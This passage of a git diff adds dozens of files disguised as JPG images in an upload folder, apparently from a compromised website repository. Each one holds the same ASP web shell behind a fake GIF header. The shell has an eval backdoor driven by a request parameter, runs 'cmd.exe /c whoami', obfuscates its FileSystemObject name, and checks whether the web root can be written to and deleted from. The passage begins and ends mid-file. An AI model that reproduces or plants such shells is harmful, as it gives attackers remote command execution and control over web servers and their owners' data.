+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(47).jpg b/userfiles/file/ali_asp;ali(47).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(48).jpg b/userfiles/file/ali_asp;ali(48).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(49).jpg b/userfiles/file/ali_asp;ali(49).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(5).jpg b/userfiles/file/ali_asp;ali(5).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(50).jpg b/userfiles/file/ali_asp;ali(50).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(51).jpg b/userfiles/file/ali_asp;ali(51).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(52).jpg b/userfiles/file/ali_asp;ali(52).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(53).jpg b/userfiles/file/ali_asp;ali(53).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(54).jpg b/userfiles/file/ali_asp;ali(54).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(55).jpg b/userfiles/file/ali_asp;ali(55).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(56).jpg b/userfiles/file/ali_asp;ali(56).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(57).jpg b/userfiles/file/ali_asp;ali(57).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(58).jpg b/userfiles/file/ali_asp;ali(58).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(59).jpg b/userfiles/file/ali_asp;ali(59).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(6).jpg b/userfiles/file/ali_asp;ali(6).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(60).jpg b/userfiles/file/ali_asp;ali(60).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(61).jpg b/userfiles/file/ali_asp;ali(61).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(62).jpg b/userfiles/file/ali_asp;ali(62).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(63).jpg b/userfiles/file/ali_asp;ali(63).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(64).jpg b/userfiles/file/ali_asp;ali(64).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(65).jpg b/userfiles/file/ali_asp;ali(65).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(66).jpg b/userfiles/file/ali_asp;ali(66).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(67).jpg b/userfiles/file/ali_asp;ali(67).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(68).jpg b/userfiles/file/ali_asp;ali(68).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
